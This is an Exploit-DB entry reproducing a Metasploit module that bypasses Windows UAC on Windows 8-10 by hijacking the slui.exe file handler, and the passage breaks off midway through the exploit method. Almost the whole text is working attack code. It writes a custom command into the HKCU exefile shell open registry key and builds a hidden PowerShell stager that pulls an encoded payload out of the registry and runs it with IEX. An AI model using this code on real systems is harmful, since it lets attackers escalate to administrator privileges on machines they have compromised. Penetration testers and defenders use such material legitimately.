Exploit-DB #44830
Description: Microsoft Windows - UAC Protection Bypass (Via Slui File Handler Hijack) (Metasploit)
Type: local
Platform: windows
Date: 2018-06-04
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::Powershell
  include Post::Windows::Priv
  include Post::Windows::Registry
  include Post::Windows::Runas

  SLUI_DEL_KEY          = "HKCU\\Software\\Classes\\exefile".freeze
  SLUI_WRITE_KEY        = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze
  EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
  EXEC_REG_VAL          = ''.freeze # This maps to "(Default)"
  EXEC_REG_VAL_TYPE     = 'REG_SZ'.freeze
  SLUI_PATH             = "%WINDIR%\\System32\\slui.exe".freeze
  CMD_MAX_LEN           = 16383

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'          => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',
        'Description'   => %q{
          This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
          the Current User hive, and inserting a custom command that will get invoked when any binary
          (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable
          to file handler hijacking. When we run slui.exe with changed Registry key
          (HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin
          instead of slui.exe.

          The module modifies the registry in order for this exploit to work. The modification is
          reverted once the exploitation attempt has finished.

          The module does not require the architecture of the payload to match the OS. If
          specifying EXE::Custom your DLL should call ExitProcess() after starting the
          payload in a different process.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [
          'bytecode-77', # UAC bypass discovery and research
          'gushmazuko', # MSF & PowerShell module
        ],
        'Platform'      => ['win'],
        'SessionTypes'  => ['meterpreter'],
        'Targets'       => [
          ['Windows x86', { 'Arch' => ARCH_X86 }],
          ['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
        'DefaultTarget' => 0,
        'References'    => [
          [
            'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation',
            'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1'
          ]
        ],
        'DisclosureDate' => 'Jan 15 2018'
      )
    )
  end

  def check
    if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled?
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit
    # Validate that we can actually do things before we bother
    # doing any more work
    check_permissions!

    commspec = 'powershell'
    registry_view = REGISTRY_VIEW_NATIVE
    psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"

    # Make sure we have a sane payload configuration
    if sysinfo['Architecture'] == ARCH_X64
      if session.arch == ARCH_X86
        # On x64, check arch
        commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'
        if target_arch.first == ARCH_X64
          # We can't use absolute path here as
          # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
          psh_path = "powershell.exe"
        end
      end
      if target_arch.first == ARCH_X86
        # Invoking x86, so switch to SysWOW64
        psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
      end
    else
      # if we're on x86, we can't handle x64 payloads
      if target_arch.first == ARCH_X64
        fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
      end
    end

    if !payload.arch.empty? && (payload.arch.first != target_arch.first)
      fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
    end

    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    payload_value = rand_text_alpha(8)
    psh_path = expand_path(psh_path)

    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)

    if psh_payload.length > CMD_MAX_LEN
      fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
    end

    psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
    cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"

    existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
    exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?

    if existing.empty?
      registry_createkey(SLUI_WRITE_KEY, registry_view)
    end

    print_status("Configuring payload and stager registry keys ...")
    unless exist_delegate
      registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
    end

    registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_RE